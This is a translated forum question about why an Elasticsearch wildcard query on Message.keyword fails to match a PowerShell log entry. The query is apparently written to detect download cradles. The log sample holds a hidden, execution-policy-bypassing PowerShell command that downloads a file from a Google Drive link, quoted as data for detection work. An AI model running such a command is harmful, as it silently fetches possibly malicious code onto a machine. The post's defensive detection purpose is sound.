У меня есть запрос ElasticSearch, который выглядит следующим образом:
{
"query": {
"constant_score": {
"filter": {
"bool": {
"should": [
{
"wildcard": {
"Message.keyword": "*System.Net.WebClient).DownloadString(*"
}
},
{
"wildcard": {
"Message.keyword": "*system.net.webclient).downloadfile(*"
}
}
]
}
}
}
}
}
И Do c в моем индексе, который включает:
message:Engine state is changed from None to Available. Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=ConsoleHost HostVersion=5.1.18362.628 HostId=3dd1a50a-cc15-45e0-bf63-4456d556fb67 HostApplication=powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download EngineVersion=5.1.18362.628 RunspaceId=de762b62-056c-4be1-90bf-a12cfe6fbc72
Как вы можете видеть выше, он включает в себя:
(New-Object System. Net .WebClient) .DownloadFile ('https:....
Кажется, что фильтр здесь должен соответствовать сообщению, но когда я выполняю запрос через Kibana, ничего не совпадает, хотя я могу видеть выше do c внутри моего индекса через пользовательский интерфейс Kibana, если я просто запрашиваю *.
Я думаю, возможно, это потому, что запрос выше запрашивает Message.keyword
? Как мне успешно hit
документ выше?
Редактировать:
отображение: https://pastebin.com/cWN4jF3d
Пример данных: https://pastebin.com/SyErqaG8